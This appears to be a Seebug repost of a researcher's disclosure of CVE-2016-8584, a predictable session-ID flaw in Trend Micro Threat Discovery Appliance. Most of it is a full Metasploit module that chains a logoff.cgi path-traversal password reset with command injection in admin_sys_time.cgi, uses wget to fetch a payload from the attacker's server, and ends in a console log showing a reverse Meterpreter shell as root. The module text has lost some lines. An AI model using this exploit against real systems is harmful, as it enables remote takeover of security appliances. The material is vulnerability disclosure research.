Trend Micro Threat Discovery Appliance - Session Generation Authentication Bypass (CVE-2016-8584)

ID SSV:92978
Type seebug
Reporter Root
Modified 2017-04-20T00:00:00


In the last few months, I have been testing several Trend Micro products with Steven Seeley (@steventseeley). Together, we have found more than 200+ RCE (Remote Code Execution) vulnerabilities and for the first time we presented the outcome of our research at Hack In The Box 2017 Amsterdam in April.

The presentation is available as a PDF or as a Slideshare.

<iframe allowfullscreen="" frameborder="0" height="470px" marginheight="0" marginwidth="0" mozallowfullscreen="" scrolling="no" src="" style="border: none;" webkitallowfullscreen="" width="615px"></iframe> Since it was not possible to cover all discovered vulnerabilities with a single presentation, this blog post will cover and analyze a further vulnerability that did not make it to the slides, and which affects the Trend Micro Threat Discovery Appliance (TDA) product.

CVE-2016-8584 - TDA Session Generation Authentication Bypass

This was an interesting vulnerability, discovered after observing that two consecutive login attempts against the web interface returned the same session_id token. Following this observation, our inference was that time factor played a role. After further analysis and reversing of the TDA libraries, the session management was found to be defined in the following library: /opt/TrendMicro/MinorityReport/lib/mini_httpd/

Within this library, the create_session() function is of particular interest, as shown below.

This function performs the following actions:

  • Gets current time
  • Use time as “seed”
  • Use srand() with above seed
  • MD5 hash the rest

All these functions can be shortened as the following: session_id = md5(srand(get_curtime()))

The vulnerability is that the seed is predictable, and therefore an attacker can generate session IDs issued in the past.

However, there are two conditions which affect exploitation of this vulnerability:

1) A legitimate user has to be authenticated - a session token is associated with an IP address when a user logs in 2) Attacker needs to perform the attack with the same IP address of legitimate user

The second condition is not an issue in a NATed environment but in a different environment it's definitely the most significant constraint.

A further conclusion is that although the attacker is able to technically predict "future" session_id tokens, there is no point in doing that, since condition (1) has to be to met first and an association between an IP address and session_id has to exist in the database.

The exploit Proof-of-Concept (poc) has been published here and below a video showing the attack in action:

The exploits for all the other TDA vulnerabilities that were discovered as part of this research can be found below:

CVE-2016-8584 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) Session Generation Authentication Bypass Vulnerability

CVE-2016-7547 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure Vulnerability

CVE-2016-7552 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 logoff.cgi Directory Traversal Authentication Bypass Vulnerability

CVE-2016-8585 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 admin_sys_time.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8586 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 detected_potential_files.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8587 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability

CVE-2016-8588 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 hotfix_upload.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8589 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 log_query_dae.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8590 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 log_query_dlp.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8591 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) log_query.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8592 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) log_query_system.cgi Command Injection Remote Code Execution Vulnerability

CVE-2016-8593 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) upload.cgi Remote Code Execution Vulnerability

A Metasploit module has been developed and added to the master branch:

# This module requires Metasploit:
# Current source:

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
      'Name'        =&gt; 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',
      'Description' =&gt; %q{
          This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
          The first is an authentication bypass vulnerability via a file delete in logoff.cgi
          which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
          The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
          interface (CVE-2016-7547).
          Note: You have the option to use the authentication bypass or not since it requires
          that the server is rebooted. The password reset will render the authentication useless.
          Typically, if an administrator cant login, they will bounce the box. Therefore, this
          module performs a heart beat request until the box is bounced and then attempts to login
          and to perform the command injection. This module has been tested on version 2.6.1062r1
          of the appliance.
      'Author'       =&gt;
          'mr_me &lt;;',    # vuln + msf
          'Roberto Suggi Liverani @malerisch',       # vuln + msf
      'License'     =&gt; MSF_LICENSE,
      'References'  =&gt;
          [ 'URL', ''], # demo
          [ 'CVE', '2016-7552'],                      # auth bypass
          [ 'CVE', '2016-7547'],                      # cmdi
      'Platform'    =&gt; 'linux',
      'Arch'        =&gt; ARCH_X86,
      'Privileged'  =&gt; true,
      'Payload'        =&gt;
          'DisableNops' =&gt; true,
      'Targets'     =&gt;
          [ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]
      'DefaultOptions' =&gt;
          'SSL' =&gt; true
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Apr 10 2017'))

        Opt::RPORT(443),'TARGETURI', [true, 'The target URI', '/']),'PASSWORD', [true, 'The password to authenticate with', 'admin']),'SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),'AUTHBYPASS', [ true, 'Bypass the authentication', true ]),

      ], self.class)

  def check
    if do_login
      res = send_request_cgi({
        'uri' =&gt; normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
        'cookie' =&gt; @cookie,
        'method' =&gt;  'GET',
        }, 1)
      if res and res.code == 200 and res.body =~ /About Trend Micro/
        version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/
        case version
        when /2.6.1062/
          return Exploit::CheckCode::Vulnerable
    return Exploit::CheckCode::Safe

  def exploit
    if datastore['AUTHBYPASS']
      print_status("Bypassing authentication...")
      if reset_password
        print_good("The password has been reset!")
        print_status("Waiting for the administrator to reboot...")
      if do_login
        fail_with(Failure::NoAccess, "Authentication failed")

  def reset_password
    c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
    res = send_request_cgi({
      'uri' =&gt; normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),
      'method' =&gt;  'GET',
      'cookie' =&gt; c,

    if res and res.code == 200 and res.headers.to_s =~ /Backtrace/
      return true
    return false

  def pwn
    print_good("Logged in")

  def pwn_after_reboot
    @rebooted = false
    while !@rebooted
      if do_login
        @rebooted = true

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false

    downfile = rand_text_alpha(8+rand(8))
    resource_uri = '/' + downfile

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false

    if (datastore['SRVHOST'] == "" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
      srv_host = datastore['SRVHOST']

    @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    service_url_payload = srv_host + resource_uri

    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' =&gt; {
      'Proc' =&gt; { |cli, req|
        on_request_uri(cli, req)
      'Path' =&gt; resource_uri

    datastore['SSL'] = true if ssl_restore

  def exec(cmd)
      'uri' =&gt; normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),
      'cookie' =&gt; @cookie,
      'method' =&gt;  'POST',
        'vars_post' =&gt; {
          'act'      =&gt; 'save',
          'timezone' =&gt; cmd,
      }, 1)

  def download_exec
    @bd = rand_text_alpha(8+rand(8))
    exec("|`wget #{@service_url} -O /tmp/#{@bd}`")
    exec("|`chmod 755 /tmp/#{@bd}`")

    # we need to delay, for the stager
    select(nil, nil, nil, 5)

  def do_login

      login = send_request_cgi({
        'uri' =&gt; normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),
        'method' =&gt;  'POST',
          'vars_post' =&gt; {
            'passwd'         =&gt; datastore['PASSWORD'],
            'isCookieEnable' =&gt; 1,

    # these are needed due to the reboot
    rescue Rex::ConnectionRefused
      return false
    rescue Rex::ConnectionTimeout
      return false
    if login and login.code == 200 and login.body =~ /frame\.cgi/
      @cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/
      return true
    return false
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc 
[*] Processing scripts/trend.rc for ERB directives.
resource (scripts/trend.rc)&gt; use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
resource (scripts/trend.rc)&gt; set RHOST
RHOST =&gt;
resource (scripts/trend.rc)&gt; set payload linux/x86/meterpreter/reverse_tcp
payload =&gt; linux/x86/meterpreter/reverse_tcp
resource (scripts/trend.rc)&gt; set LHOST
LHOST =&gt;
resource (scripts/trend.rc)&gt; exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 
[*] Bypassing authentication...
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) &gt; 
[+] The password has been reset!
[*] Waiting for the reboot...
[*] - Starting up our web service on ...
[*] Using URL:
[*] Local IP:
[+] Logged in
[*] - Sending the payload to the server...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to
[*] Meterpreter session 1 opened ( -&gt; at 2016-09-23 14:59:08 -0500
[+] Deleted /tmp/rpNDXQZTB
[*] Server stopped.
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) &gt; sessions -i 1
[*] Starting interaction with 1...
meterpreter &gt; shell
Process 3846 created.
Channel 1 created.
BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
/bin/sh: can't access tty; job control turned off
/opt/TrendMicro/MinorityReport/www/cgi-bin # id
uid=0(root) gid=0(root)
/opt/TrendMicro/MinorityReport/www/cgi-bin #